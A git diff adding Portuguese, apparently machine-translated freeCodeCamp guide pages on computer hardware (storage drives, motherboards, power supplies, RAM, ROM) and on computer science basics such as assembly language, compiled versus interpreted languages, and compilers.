+*   [CUDA](https://developer.nvidia.com/cuda-zone)
+*   [OpenCL](https://www.khronos.org/opencl/)
+*   [OpenGL](https://www.opengl.org/)
+*   [nVidia Blog](https://blogs.nvidia.com/blog/2009/12/16/whats-the-difference-between-a-cpu-and-a-gpu/)
+*   [NVidia](https://www.nvidia.com/)
+*   [AMD](http://www.amd.com/en-us/products/graphics)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/hard-drives/index.md b/client/src/guide/portuguese/computer-hardware/hard-drives/index.md
new file mode 100644
index 0000000000..df86876e95
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/hard-drives/index.md
@@ -0,0 +1,42 @@
+---
+title: Storage Drives
+localeTitle: Drives de Armazenamento
+---
+## Unidades de disco rígido (HDD)
+
+Os discos rígidos são dispositivos de armazenamento permanentes para computadores. Existem vários tipos de discos rígidos: discos magnéticos tradicionais, discos de estado sólido de nova geração ou discos híbridos que contêm SSD e armazenamento magnético.
+
+Os discos rígidos tradicionais usam agulhas magnéticas e pratos magnetizados rotativos para armazenar dados. Devido a essas partes móveis, os discos rígidos são facilmente danificados por quedas e / ou choques. O motor que gira os discos também consome muita energia e, no entanto, nenhum outro método de armazenamento é tão acessível para grandes volumes de armazenamento.
+
+Os discos rígidos vêm em várias capacidades de armazenamento, com alguns até mesmo armazenando 10 TB (10 trilhões de bytes). Computadores típicos vêm com 256 GB (256 milhões de bytes) para 1 TB de espaço de armazenamento. Os laptops geralmente usam unidades de estado sólido (SSDs) porque são mais rápidos, mais leves e não contêm partes móveis, diminuindo a probabilidade de falhas devido ao impacto. Para a mesma quantidade de armazenamento, os SSDs são geralmente mais caros que os discos rígidos. Recentemente, alguns SSDs foram lançados nessa interface com a placa-mãe através do slot de barramento PCIe (PCI Express) usando um sistema chamado NVMe. Esses SSDs provaram ser ainda mais rápidos em tempos de leitura / gravação do que os tradicionais SSDs SATA.
+
+Cabeças magnéticas são responsáveis ​​pela leitura e gravação de dados, que são fisicamente armazenados em um conjunto de discos revestidos magneticamente empilhados um sobre o outro - referido como um prato. As cabeças estão localizadas no final de uma armadura. Os discos interiores do prato têm duas cabeças em um único braço. Isso permite que os dados sejam acessados ​​de ambos os discos, abaixo e acima do braço. Os discos superior e inferior do prato só têm uma cabeça no final de um braço. Na extremidade oposta do braço há um atuador. Ele fornece movimento do braço para viajar do centro do prato, o fuso, para as regiões mais externas do prato. O tempo necessário para colocar a cabeça na localização concêntrica correta é chamado de tempo de busca. Uma vez que a cabeça esteja na posição espacial concêntrica correta, mais tempo é gasto esperando que o disco gire de tal forma que o setor com os dados solicitados esteja abaixo da cabeça. Esse período de tempo é chamado de latência.
+
+As cabeças estão posicionadas a apenas alguns nanômetros de distância dos discos rotativos. Diz-se que as cabeças "voam" acima do prato e, como tal, a distância entre a cabeça e o prato é referida como a "altura de voo". As cabeças são projetadas para nunca tocar os locais dos pratos que armazenam dados e são revestidos magneticamente. Se a cabeça "pousar" em um prato, tanto a cabeça quanto os setores dos discos podem ser destruídos, resultando em perda de dados (daí a frase "uma falha no disco rígido" ou "colisão na cabeça").
+
+Os discos rígidos recuperam e armazenam dados de aplicativos a pedido da CPU. Isto é referido como operações de entrada / saída - IO para breve. Quando um programa em execução requer uma certa quantidade de dados, a CPU despacha uma instrução para que os dados sejam buscados no disco rígido. A leitura desse dado é uma operação de entrada (da perspectiva da CPU). O programa pode então executar uma computação que altera os dados e os resultados precisam ser armazenados de volta no disco rígido. A CPU solicita que os dados sejam gravados de volta na unidade. Este seria um exemplo de uma operação de saída (novamente, do ponto de vista da CPU).
+
+O desempenho do disco rígido é medido principalmente por duas métricas principais: 1) tempo de resposta, que é o tempo necessário para concluir uma operação de leitura ou gravação e 2) IOPS, que é um acrônimo para 'Operações de entrada / saída por segundo'. Como o nome sugere, o IOPS é uma medida das operações de IO máximo em um segundo. O principal fator para alcançar o máximo de IOPS no menor tempo de resposta é a velocidade de rotação do disco rígido, medida em rotações por minuto (RPM). Velocidades rotacionais comuns são 5.400 RPM, 7.200 RPM, 10.000 RPM e 15.000 RPM (comumente notados como 5.4K, 7.2K, 10K e 15K). Discos rígidos com taxas de rotação mais altas (RPMs) terão mais passagem de propriedade do disco sob as cabeças para operações de E / S (leituras e gravações). Discos rígidos com taxas de rotação RPM mais baixas terão latências mecânicas muito maiores, uma vez que menos imóveis passam abaixo das cabeças.
+
+Uma ferramenta simples para medir as métricas de desempenho do disco rígido é chamada IOMeter (ver link abaixo). O programa é muito leve e fácil de instalar. Quando estiver em funcionamento, várias variações diferentes de cargas de trabalho podem ser executadas para simular leituras e gravações de dados no disco. Esses dados são analisados ​​e geram métricas para tempos de leitura / gravação, IOPS e outras métricas úteis. Os testes podem ser salvos para verificações consistentes e os dados podem ser facilmente analisados ​​em uma tabela ou gráfico.
+
+Os discos rígidos tendem a ser categorizados por caso de uso (capacidade ou desempenho). As estações de trabalho de escritório doméstico e de uso geral tendem a usar discos rígidos rotativos mais lentos (5,4K e 7,2K), o que é bom para armazenar fotos e arquivos do escritório. No entanto, bancos de dados grandes que suportam transações bancárias on-line, por exemplo, usam os discos rígidos 10K e 15K RPM mais rápidos, pois eles serão componentes em um servidor corporativo ou em um storage array. Há uma troca entre o desempenho e a capacidade de um disco rígido, no entanto. Por exemplo, o disco rígido de 15K de maior capacidade disponível atualmente é de apenas 600 GB, enquanto o disco rígido de maior capacidade para os discos de 5.4K e 7.2K RPM é de 10 TB. A unidade de 15 GB de 600 GB tem capacidade para 250 IOPS @ 3 ms de tempo de resposta (médias). Enquanto a unidade de 10 TB TB de 7,2 TB não mede IOPS em um determinado tempo de resposta, uma vez que não é otimizada nem destinada a casos de uso de desempenho centralizado em IOPS. Há também outras compensações no preço por GB, energia consumida e tamanho (2,5 "vs 3,5" polegadas).
+
+Computadores armazenam dados e arquivos em discos rígidos para uso posterior. Como os discos rígidos têm partes móveis, leva muito mais tempo para ler um arquivo de um disco rígido do que de uma memória RAM ou cache na CPU. Você pode pensar em um disco rígido como um fichário: um local para armazenar coisas que não estamos usando no momento, mas precisam de mais tarde. Você não tem espaço suficiente em sua mesa para todos os seus papéis, então você armazena coisas que você não está usando agora mesmo no arquivo. Um computador faz exatamente isso. Ele mantém arquivos que está usando agora na RAM e arquivos que podem precisar ficar mais tarde no disco rígido. Embora a RAM tenha tempos de acesso e de resposta que são duas ordens de magnitude mais rápidos quando comparados aos discos rígidos, sua capacidade típica é de 1 a 2 ordens de magnitude a menos do que um disco rígido típico. Você pode colocar resmas de papel no arquivo, mas apenas alguns na sua mesa.
+
+Os dados armazenados na memória RAM são considerados fugazes, enquanto os dados gravados em um disco rígido são persistentes. Ou seja, se a energia se apagar repentinamente, todos os dados que estavam na RAM serão perdidos e não estarão lá depois que a energia for restaurada e o computador for reinicializado. No entanto, os dados que foram gravados no disco rígido estarão lá quando a energia for restaurada. Por esse motivo, os sistemas operacionais e aplicativos modernos periodicamente gravam dados relacionados a sessões e aplicativos que estão atualmente em RAM no disco rígido. Dessa forma, se a energia acabar, apenas 10 minutos de dados serão inseridos em uma planilha recém-criada que estava sendo trabalhada por 3 horas antes da falta de energia e ainda não salva no disco rígido. Esses arquivos são geralmente denotados com um til e podem ser encontrados em um diretório temporário ou temporário ou possivelmente localizados em um diretório cego cujo conteúdo é chamado de arquivos ocultos.
+
+## Unidades de estado sólido (SSD)
+
+Os drives de estado sólido usam circuitos integrados para armazenar dados. Portanto, um SSD não possui partes móveis como o HDD. Isso os torna menos suscetíveis a choques físicos, são executados silenciosamente e têm tempos de leitura / gravação mais rápidos, por não precisar localizar os dados fisicamente.
+
+Geralmente, os SSDs são usados ​​apenas como unidades de inicialização ou armazenamento para os aplicativos mais usados ​​no computador de uma pessoa. Isso ocorre porque mesmo que seu preço tenha diminuído muito nos últimos anos, ainda é muito mais caro do que um disco rígido tradicional. Assim, os HDDs ainda são usados ​​para armazenar grandes blocos de dados, como fotos e vídeos, ou em datacenters ou farms de servidores.
+
+#### Mais Informações:
+
+*   [Wikipedia - Disco Rígido](https://en.wikipedia.org/wiki/Hard_disk_drive)
+*   [Wikipedia - altura do vôo](https://en.wikipedia.org/wiki/Flying_height)
+*   [Wikipedia - Armazenamento de dados de computador](https://en.wikipedia.org/wiki/Computer_data_storage)
+*   [PCMag - SSD vs. HDD: Qual é a diferença?](https://www.pcmag.com/article2/0,2817,2404258,00.asp)
+*   [Tendências Digitais - SSD vs. HDD](https://www.digitaltrends.com/computing/solid-state-drives-vs-hard-disk-drives)
+*   [Projeto IOMeter](http://www.iometer.org)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/index.md b/client/src/guide/portuguese/computer-hardware/index.md
new file mode 100644
index 0000000000..d453ccbf2c
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/index.md
@@ -0,0 +1,63 @@
+---
+title: Computer Hardware
+localeTitle: Hardware de computador
+---
+## Hardware de computador
+
+Nesta seção, exploramos os vários componentes de hardware dos computadores modernos.
+
+## Partes de um computador pessoal
+
+### Unidade de processamento central (CPU)
+
+Uma Unidade Central de Processamento (CPU) é o circuito eletrônico dentro de um computador que executa as instruções de um programa de computador executando as operações básicas de aritmética, lógica, controle e entrada / saída (E / S) especificadas pelas instruções.
+
+![Intel Core i7](http://ecx.images-amazon.com/images/I/51MOTjmtg2L.jpg)
+
+### Placas de Expansão (por exemplo, GPU)
+
+Uma unidade de processamento gráfico (GPU) é um circuito eletrônico especializado projetado para manipular e alterar rapidamente a memória para acelerar a criação de imagens em um buffer de quadros destinado à saída para um dispositivo de exibição.
+
+![Nvidia Titan XP](https://cdn.arstechnica.net/wp-content/uploads/2017/04/nvidia-titan-x.jpg)
+
+### Armazenamento (SSD ou HDD)
+
+A unidade de estado sólido (SSD) ou a unidade de disco rígido (HDD) são usadas para armazenar informações no computador. Ele mantém a memória mesmo após a perda de energia.
+
+![SSD](https://images10.newegg.com/NeweggImage/ProductImage/20-147-373-09.jpg)
+
+### Memória (RAM)
+
+A memória de acesso aleatório (RAM) é uma forma de armazenamento de dados de computador que armazena os dados e o código de máquina atualmente sendo usado. Um dispositivo de memória de acesso aleatório permite que os itens de dados sejam lidos ou gravados quase na mesma quantidade de tempo, independentemente da localização física dos dados dentro da memória.
+
+![RAM](https://images10.newegg.com/NeweggImage/ProductImage/20-232-476-S01.jpg)
+
+### Caso
+
+Um caso é usado para abrigar todos os componentes de um computador.
+
+![Caso](https://images-na.ssl-images-amazon.com/images/I/41Wq97Jk20L._SL500_AC_SS350_.jpg)
+
+### Fonte de energia
+
+Uma fonte de alimentação é um dispositivo eletrônico que fornece energia elétrica a uma carga elétrica.
+
+![Fonte de energia](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/SFX_PC-PSU_Delta_IMG_9760.JPG/620px-SFX_PC-PSU_Delta_IMG_9760.JPG)
+
+### Motherboard
+
+A placa-mãe mantém e permite a comunicação entre muitos dos componentes eletrônicos cruciais de um sistema, como a unidade central de processamento (CPU) e a memória, e fornece conectores para outros periféricos.
+
+![Motherboard](https://fthmb.tqn.com/mmTUdCN6UBGIKlkEggGq4fpV-3k=/768x0/filters:no_upscale()/gig-57c732ed3df78c71b60e7aa5.jpg)
+
+### Dispositivos de entrada e saída (por exemplo, teclado e mouse)
+
+Dispositivo de Entrada / Saída é qualquer hardware usado por um operador humano ou outros sistemas para se comunicar com um computador.
+
+![Dispositivos de E / S](https://www.clasohlson.com/medias/sys_master/9225929949214.jpg)
+
+### Monitor
+
+Um monitor de computador é um dispositivo de saída que exibe informações em forma de figura.
+
+![Monitor](https://assets.pcmag.com/media/images/523934-dell-ultrasharp-34-curved-monitor-u3417w.jpg?thumb=y)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/motherboard/index.md b/client/src/guide/portuguese/computer-hardware/motherboard/index.md
new file mode 100644
index 0000000000..495e68d2e3
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/motherboard/index.md
@@ -0,0 +1,32 @@
+Types of Motherboards. Motherboards come in different sizes, known as form factors. The most common motherboard form factor is ATX. The different types of ATX are known as micro-ATX (sometimes shown as µATX, mini-ATX, FlexATX, EATX, WATX, nano-ATX, pico-ATX, and mobileATX).localeTitle: Motherboard
+---
+## título: Motherboard
+
+## Motherboard
+
+A placa-mãe é a camada de conexão que permite que os componentes de um computador interajam entre si. A placa-mãe normalmente tem conexões para memória de acesso aleatório (RAM), um disco rígido, uma unidade de processamento gráfico (GPU) e uma unidade de processamento central (CPU). Nos desktops, a placa-mãe é uma placa física à qual todos esses componentes estão conectados. No entanto, em laptops, a placa-mãe normalmente possui alguns desses componentes integrados devido às limitações de espaço dos laptops.
+
+Uma placa-mãe fornece energia e conectividade aos componentes do computador e atua como o painel de controle para todas as comunicações entre componentes. Se a CPU precisar processar informações armazenadas na RAM, por exemplo, a placa-mãe fornece uma conexão entre a CPU e a RAM, chamada de barramento de memória, para permitir o acesso aos dados. Uma placa-mãe inclui barramentos para placas de expansão (incluindo a GPU), RAM e discos rígidos.
+
+Os principais fabricantes de placas-mãe são INTEL, ASUS, ACER, GIGABYTE, IBM, SIMMTRONICS e muitos mais.
+
+## Partes de uma placa-mãe
+
+Se você fosse abrir seu computador e tirar a placa-mãe, provavelmente ficaria muito confuso sobre todas as partes diferentes. Dependendo da marca e modelo do seu computador, pode ser algo como isto. Para entender como os computadores funcionam, você não precisa conhecer cada parte da placa-mãe. No entanto, é bom conhecer algumas das partes mais importantes e como a placa-mãe conecta as várias partes de um sistema de computador. Aqui estão algumas das partes típicas:
+
+*   Um soquete da CPU - a CPU real é soldada diretamente no soquete. Como as CPUs de alta velocidade geram muito calor, há dissipadores de calor e pontos de montagem para os ventiladores ao lado do soquete da CPU. Observe que os processadores suportam apenas um único tipo de soquete para que ele corresponda ao soquete das motherboards para funcionar. Geralmente, os tipos de soquetes mudam a cada poucas gerações e também variam de acordo com o rótulo (CPUs para consumidores, HEDT, CPUs do servidor)
+*   Um conector de energia para distribuir energia para a CPU e outros componentes.
+*   Slots para a memória principal do sistema, normalmente na forma de chips DRAM.
+*   Um chip forma uma interface entre a CPU, a memória principal e outros componentes. Em muitos tipos de placas-mãe, isso é chamado de Northbridge. Este chip também contém um grande dissipador de calor. Nos últimos anos, os recursos do Northbridge foram cada vez mais integrados ao próprio processador.
+*   Um segundo chip controla as funções de entrada e saída (E / S). Não está conectado diretamente à CPU, mas ao Northbridge. Este controlador de E / S é referido como o Southbridge. O Northbridge e Southbridge combinados são referidos como o chipset.
+*   Vários conectores, que fornecem a interface física entre os dispositivos de entrada e saída e a placa-mãe. O Southbridge lida com essas conexões.
+*   Slots para um ou mais discos rígidos para armazenar arquivos. Os tipos mais comuns de conexões são Integrated Drive Electronics (IDE) e Serial Advanced Technology Attachment (SATA).
+*   Um chip de memória somente leitura (ROM), que contém o firmware, ou instruções de inicialização para o sistema do computador. Isso também é chamado de BIOS.
+*   Um slot para uma placa de vídeo ou gráfica. Há vários tipos diferentes de slots, incluindo a AGP (Accelerated Graphics Port) e PCIe (Peripheral Component Interconnect Express). Slots adicionais para conectar hardware na forma de slots PCI (Peripheral Component Interconnect).
+
+#### Mais Informações:
+
+*   [Motherboard](https://www.computerhope.com/jargon/m/mothboar.htm)
+*   [Chipset (wikipedia)](https://en.wikipedia.org/wiki/Chipset)
+
+Tipos de placas-mãe. Placas-mãe vêm em tamanhos diferentes, conhecidos como fatores de forma. O fator de forma mais comum da placa-mãe é o ATX. Os diferentes tipos de ATX são conhecidos como micro-ATX (às vezes mostrados como µATX, mini-ATX, FlexATX, EATX, WATX, nano-ATX, pico-ATX e mobileATX).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/power-supply/index.md b/client/src/guide/portuguese/computer-hardware/power-supply/index.md
new file mode 100644
index 0000000000..e187cbf4e8
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/power-supply/index.md
@@ -0,0 +1,13 @@
+---
+title: Power Supply
+localeTitle: Fonte de energia
+---
+## Fonte de energia
+
+Uma fonte de alimentação (PSU) fornece energia a um computador. Ele converte energia CA em energia DC de baixa voltagem constante para os componentes internos.
+
+Uma PSU geralmente não é reparável pelo usuário. Para sua segurança, é aconselhável nunca abrir uma unidade de fonte de alimentação.
+
+#### Mais Informações:
+
+*   [Fonte de energia](https://en.wikipedia.org/wiki/Power_supply_unit_(computer))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/ram/index.md b/client/src/guide/portuguese/computer-hardware/ram/index.md
new file mode 100644
index 0000000000..32f537050c
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/ram/index.md
@@ -0,0 +1,29 @@
+---
+title: RAM
+localeTitle: RAM
+---
+## RAM
+
+RAM significa memória de acesso aleatório, alternativamente chamada de **memória principal** , **memória primária** ou **memória do sistema** . É uma peça de hardware do computador onde os dados em que seu computador está trabalhando atualmente são armazenados.  
+Ao contrário dos discos rígidos, a RAM é uma memória volátil e requer energia para manter os dados acessíveis. Se o computador estiver desligado, todos os dados contidos na RAM serão perdidos. Novos usuários geralmente confundem RAM com espaço em disco. Veja a definição de [memória](https://www.computerhope.com/jargon/m/memory.htm) para uma comparação entre memória e armazenamento.  
+
+#### Tipos de RAM:
+
+Existem dois tipos principais de RAM: estática (SRAM) e dinâmica (DRAM). RAM estática é construída usando flip-flops, é muito rápida, mas é difícil de fazer em tamanhos grandes. A Dyanmic RAM é construída usando capacitores, é razoavelmente rápida, mas precisa ser "atualizada" periodicamente para manter a carga nos capacitores. A SRAM é frequentemente usada mais perto da CPU devido às restrições de velocidade e espaço, enquanto a DRAM é usada como memória principal.
+
+Alguns exemplos de RAM de empacotamento são: DIMM, RIMM, SIMM, SO-DIMM e SOO-RIMM. Abaixo está uma imagem de exemplo de um módulo de memória de computador DIMM de 512 MB, uma peça típica de RAM encontrada em computadores desktop. Este módulo de memória seria instalado em um dos slots de memória da placa-mãe.
+
+![RAM](https://images-na.ssl-images-amazon.com/images/I/41kVnWQebtL._SL256_.jpg)
+
+#### Velocidades de RAM:
+
+A taxa de velocidade do seu módulo de RAM é uma expressão da sua taxa de transferência de dados, e é quase sempre expressa em megahertz (Mhz). Quanto mais rápido o número, mais rápido o computador pode armazenar e recuperar os dados armazenados na memória local. A fórmula para a taxa de velocidade exata muda levemente com base na versão da memória DDR que seu computador está usando. Não é mais simplesmente uma expressão da velocidade do clock, como um processador, mas uma combinação de fatores de hardware. Mas, em geral, mais rápido é melhor. Como a GPU e CPU, a RAM também pode ser overclock. Para alcançar a velocidade mais rápida, o usuário precisa ativar um perfil XMP (Intel) ou AMP (AMD) no BIOS. O padrão que determina a velocidade aproximada para a RAM na maioria dos computadores tem sido DDR3, que ainda é amplamente adotado e suporta um limite de 2133Mhz. Um novo padrão, o DDR4, foi lançado nos últimos anos e promete uma gama mais ampla de velocidades de clock e reduziu o consumo de energia e latências.
+
+#### Mais Informações:
+
+*   [RAM](http://www.webopedia.com/TERM/R/RAM.html)
+*   [RAM estática](https://en.wikipedia.org/wiki/Static_random-access_memory)
+*   [RAM dinâmica](https://en.wikipedia.org/wiki/Dynamic_random-access_memory)
+*   [Tipos de RAM](http://www.computermemoryupgrade.net/types-of-computer-memory-common-uses.html)
+*   [Guia do comprador da memória do portátil](https://www.lifewire.com/laptop-memory-buyers-guide-833024)
+*   [Wikipédia](https://en.wikipedia.org/wiki/Random-access_memory) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-hardware/rom/index.md b/client/src/guide/portuguese/computer-hardware/rom/index.md
new file mode 100644
index 0000000000..c725849d43
--- /dev/null
+++ b/client/src/guide/portuguese/computer-hardware/rom/index.md
@@ -0,0 +1,11 @@
+---
+title: ROM
+localeTitle: QUARTO
+---
+## Memória somente leitura
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/computer-hardware/rom/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/assembly-language/index.md b/client/src/guide/portuguese/computer-science/assembly-language/index.md
new file mode 100644
index 0000000000..9b4923011d
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/assembly-language/index.md
@@ -0,0 +1,21 @@
+---
+title: Assembly Language
+localeTitle: Linguagem Assembly
+---
+## Linguagem Assembly
+
+Assembly Language é a interface entre linguagens de nível superior (C ++, Java, etc) e código de máquina (binário). Para uma linguagem compilada, o compilador transforma código de nível superior em código de linguagem assembly.
+
+Cada família de CPUs define seu próprio ISA (Instruction Set Architeture), um conjunto de instruções básicas que a CPU pode executar sem precisar de mais tradução ou transformação. O compilador decompõe instruções compostas compostas de nível superior em operações disponíveis no ISA. Alguns dos ISAS mais comuns atualmente em uso incluem MIPS, ARM, Intel x86, RISC-V.
+
+Os montadores decompõem as instruções de montagem em suas respectivas representações binárias e substituem os endereços genéricos do código assembly pelo registro explícito e pelos endereços de memória do seu computador.
+
+Código onde o tempo de execução e controle é crucial pode ser escrito diretamente no montador. No entanto, isso custa ao prolongar o tempo de desenvolvimento e dificultar o desenvolvimento. Também deve ser notado que tem havido uma grande quantidade de pesquisas para tornar os compiladores otimizarem o código que é gerado automaticamente.
+
+O idioma de montagem é usado principalmente nas seguintes situações:
+
+*   É necessário usar instruções de CPU não disponíveis em idiomas de nível superior.
+*   Não há linguagem de alto nível para programar certos tipos de processadores.
+*   Implementando um compilador para uma linguagem de nível superior em um novo ISA. ![Imagem dos níveis de código](https://raw.githubusercontent.com/colbybanbury/assemblyPicture/master/Screenshot%20from%202017-10-14%2014-03-06.png)
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/compiled-versus-interpreted-languages/index.md b/client/src/guide/portuguese/computer-science/compiled-versus-interpreted-languages/index.md
new file mode 100644
index 0000000000..c799534036
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/compiled-versus-interpreted-languages/index.md
@@ -0,0 +1,68 @@
+---
+title: Compiled Versus Interpreted Languages
+localeTitle: Idiomas Compilados versus Interpretados
+---
+## Idiomas Compilados versus Interpretados
+
+Cada programa é um conjunto de instruções, seja para adicionar dois números ou enviar uma solicitação pela Internet. Compiladores e intérpretes pegam código legível e o convertem em código de máquina legível por computador. Em uma linguagem compilada, a máquina de destino traduz diretamente o programa. Em uma linguagem interpretada, o código-fonte não é traduzido diretamente pela máquina de destino. Em vez disso, um programa _diferente_ , também conhecido como interpretador, lê e executa o código.
+
+### Tudo bem ... mas o que isso _realmente_ significa?
+
+Então, digamos que você tenha uma receita de homus que você quer fazer, mas é no grego antigo. Há duas maneiras pelas quais você, como um falante de grego antigo, pode seguir suas instruções.
+
+A primeira é se alguém já a traduziu para o inglês para você. Você (e qualquer um que falasse inglês) poderia obter a versão em inglês e fazer homus. Esta é a versão compilada.
+
+A segunda é se você tivesse um amigo que conhecesse o grego antigo. Seu amigo pode se sentar ao seu lado e traduzir o grego antigo para o inglês, linha por linha, à medida que você vai. Neste caso, seu amigo é o intérprete. Esta é a versão interpretada.
+
+### Idiomas compilados
+
+As linguagens compiladas são convertidas diretamente em código de máquina que o processador pode executar. Como resultado, elas tendem a ser mais rápidas e mais eficientes de executar do que as linguagens interpretadas. Eles também dão ao desenvolvedor mais controle sobre aspectos de hardware, como gerenciamento de memória e uso da CPU.
+
+As linguagens compiladas precisam de uma etapa de "compilação" - elas precisam ser compiladas manualmente primeiro. Você precisa "reconstruir" o programa toda vez que precisar fazer uma alteração. No nosso exemplo hummus, toda a tradução é escrita antes de chegar a você. Se o autor original decidiu que queria usar um tipo diferente de azeite, toda a receita precisaria ser traduzida novamente e depois enviada para você.
+
+Exemplos de linguagens compiladas são C, C ++, Erlang, Haskell, Rust e Go.
+
+### Idiomas Interpretados
+
+Os intérpretes executarão um programa linha por linha e executarão cada comando. Agora, se o autor decidisse usar um tipo diferente de azeite, ele poderia riscar o antigo e adicionar o novo. Seu amigo tradutor pode então transmitir essa mudança para você como isso acontece.
+
+Idiomas interpretados já foram conhecidos por serem significativamente mais lentos do que os idiomas compilados. Mas, com o desenvolvimento da [compilação just-in-time](https://guide.freecodecamp.org/computer-science/just-in-time-compilation) , essa lacuna está diminuindo.
+
+Exemplos de linguagens interpretadas comuns são PHP, Ruby, Python e JavaScript.
+
+### Uma pequena advertência
+
+A maioria das linguagens de programação pode ter implementações compiladas e interpretadas. A linguagem em si não é necessariamente compilada ou interpretada. No entanto, para simplificar, eles são geralmente referidos como tal.
+
+Estritamente falando, os termos linguagem interpretada e linguagem compilada não são bem definidos porque, em teoria, qualquer linguagem de programação pode ser interpretada ou compilada. Na moderna implementação de linguagem de programação, é cada vez mais popular que uma plataforma forneça as duas opções. Por exemplo, o Python pode ser executado como um programa compilado ou como uma linguagem interpretada no modo interativo.
+
+**A maioria das ferramentas de linha de comando, CLIs e shells podem, teoricamente, ser classificadas como linguagens interpretadas.**
+
+### Vantagens e desvantagens
+
+#### Vantagens de linguagens compiladas
+
+Programas compilados em código nativo em tempo de compilação geralmente tendem a ser mais rápidos do que os traduzidos em tempo de execução, devido à sobrecarga do processo de tradução.
+
+#### Desvantagens de linguagens compiladas
+
+As desvantagens mais notáveis ​​são: -
+
+*   Tempo adicional necessário para concluir toda a etapa de compilação antes do teste e
+*   Dependência de plataforma do código binário gerado.
+
+#### Vantagens dos Idiomas Interpretados
+
+Uma linguagem interpretada fornece implementações alguma flexibilidade adicional sobre implementações compiladas. Como os intérpretes executam o código do programa de origem, o próprio código é independente da plataforma (código de byte do Java, por exemplo). Outros recursos incluem digitação dinâmica e tamanho de programa executável menor.
+
+#### Desvantagens dos Idiomas Interpretados
+
+A desvantagem mais notável é a velocidade de execução típica em comparação com as linguagens compiladas.
+
+#### Mais Informações:
+
+[Wikipedia - Linguagem compilada](https://en.wikipedia.org/wiki/Compiled_language)
+
+[Wikipedia - Linguagem interpretada](https://en.wikipedia.org/wiki/Interpreted_language)
+
+[Artigo: programmerinterview.com - Qual é a diferença entre uma linguagem compilada e interpretada?](http://www.programmerinterview.com/index.php/general-miscellaneous/whats-the-difference-between-a-compiled-and-an-interpreted-language/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/computer-science/compilers/index.md b/client/src/guide/portuguese/computer-science/compilers/index.md
new file mode 100644
index 0000000000..f3d7489b9e
--- /dev/null
+++ b/client/src/guide/portuguese/computer-science/compilers/index.md
@@ -0,0 +1,66 @@
+---
+title: Compilers
+localeTitle: Compiladores
+---
+## Compiladores
+
+### Programação
+
+Na sua essência, um computador barebones (também conhecido como computador de programa armazenado) nada mais é do que uma máquina que sabe ler etapas escritas em um conjunto de instruções fixo e executá-las. O conjunto de instruções que um computador entende é muito específico para ele. Isso também é conhecido como linguagem de máquina ( **opcodes** ). Linguagem de máquina é muitas vezes referida como código binário.
+
+Humanos interagem com computadores usando **Programas** . Um programa é simplesmente uma sequência de opcodes fornecidos ao computador juntamente com dados que são necessários para executar os opcodes.
+
+Por exemplo,
+```
+ADD 10, 20  // ADD is the Opcode 
+            // and 10, 20 are the two operands(data) 
+            // needed for the ADD instruction to be executed successfully 
+```
+
+Os humanos desenvolvem programas para resolver problemas complexos. Observando como os opcodes são simples, se tentarmos desenvolver programas usando apenas opcodes, será muito complicado e difícil de depurar. Para resolver este problema, linguagens de alto nível como C / C ++, Python, Java, Javascript, etc foram desenvolvidas.
+
+Agora, linguagens de alto nível não são adequadas para execução por computadores. Assim, surgiu a necessidade de um tradutor que pudesse digerir os programas de linguagem de alto nível e convertê-los em instruções de linguagem de máquina adequadas para execução por um computador.
+
+#### \[HUMANOS\] -> \[Programas de idiomas de alto nível\] -> \[Tradutor\] -> \[Linguagem de máquina\] -> \[Computador\]
+
+Um **compilador** é um tipo de programa tradutor, que traduz linguagens de alto nível em código binário, que não é nada além de 1s e 0s. Quando você executa seu código-fonte, um compilador traduz todo o código primeiro e depois produz o código binário. Então o computador pega o código binário e o executa.
+
+Se houver erros no seu código-fonte, o compilador detecta e sinaliza-os. Isso interrompe o processo de compilação. Depois que todos os erros são corrigidos, o compilador converte o código e gera um programa executável.
+
+## Partes de um compilador
+
+A maioria dos compiladores divide-se em três estágios principais: Análise, Transformação e Geração de Código
+
+1.  _A análise_ está tomando código bruto e transformando-o em uma representação mais abstrata do código.
+2.  _A transformação_ leva essa representação abstrata e manipula para fazer o que o compilador quiser.
+3.  _Geração de código_ leva a representação transformada do código e transforma-lo em novo código.
+
+#### Análise
+
+A análise normalmente é dividida em duas fases: **Análise Lexical** e **Análise Sintática** .
+
+_A análise lexical_ pega o código bruto e o separa nessas coisas chamadas de tokens por uma coisa chamada tokenizer (ou lexer).
+```
+Tokens are an array of tiny little objects that describe an isolated piece of the syntax. 
+ They could be numbers, labels, punctuation, operators, etc. 
+```
+
+_A análise sintática_ pega os tokens e os reformata em uma representação que descreve cada parte da sintaxe e sua relação com o outro. Isso é conhecido como uma representação intermediária ou Abstract Syntax Tree.
+```
+An Abstract Syntax Tree, or AST for short, is a deeply nested object. 
+ It represents code in a way that is both easy to work with and tells us a lot of information. 
+```
+
+#### Transformação
+
+O próximo tipo de estágio para um compilador é a transformação. Novamente, isso apenas pega a AST da última etapa e faz alterações nela. Ele pode manipular o AST na mesma língua ou pode traduzi-lo em um idioma totalmente novo.
+
+#### Geração de Código
+
+A fase final de um compilador é a geração de código. Às vezes, os compiladores fazem coisas que se sobrepõem à transformação, mas, na maior parte, a geração de código apenas pega a AST e a converte em código binário.
+
+Todos os compiladores precisam executar estas etapas. A maioria dos compiladores modernos também executa outras etapas, como verificar erros de tipo e otimizar o código compilado resultante.
+
+#### Mais Informações:
+
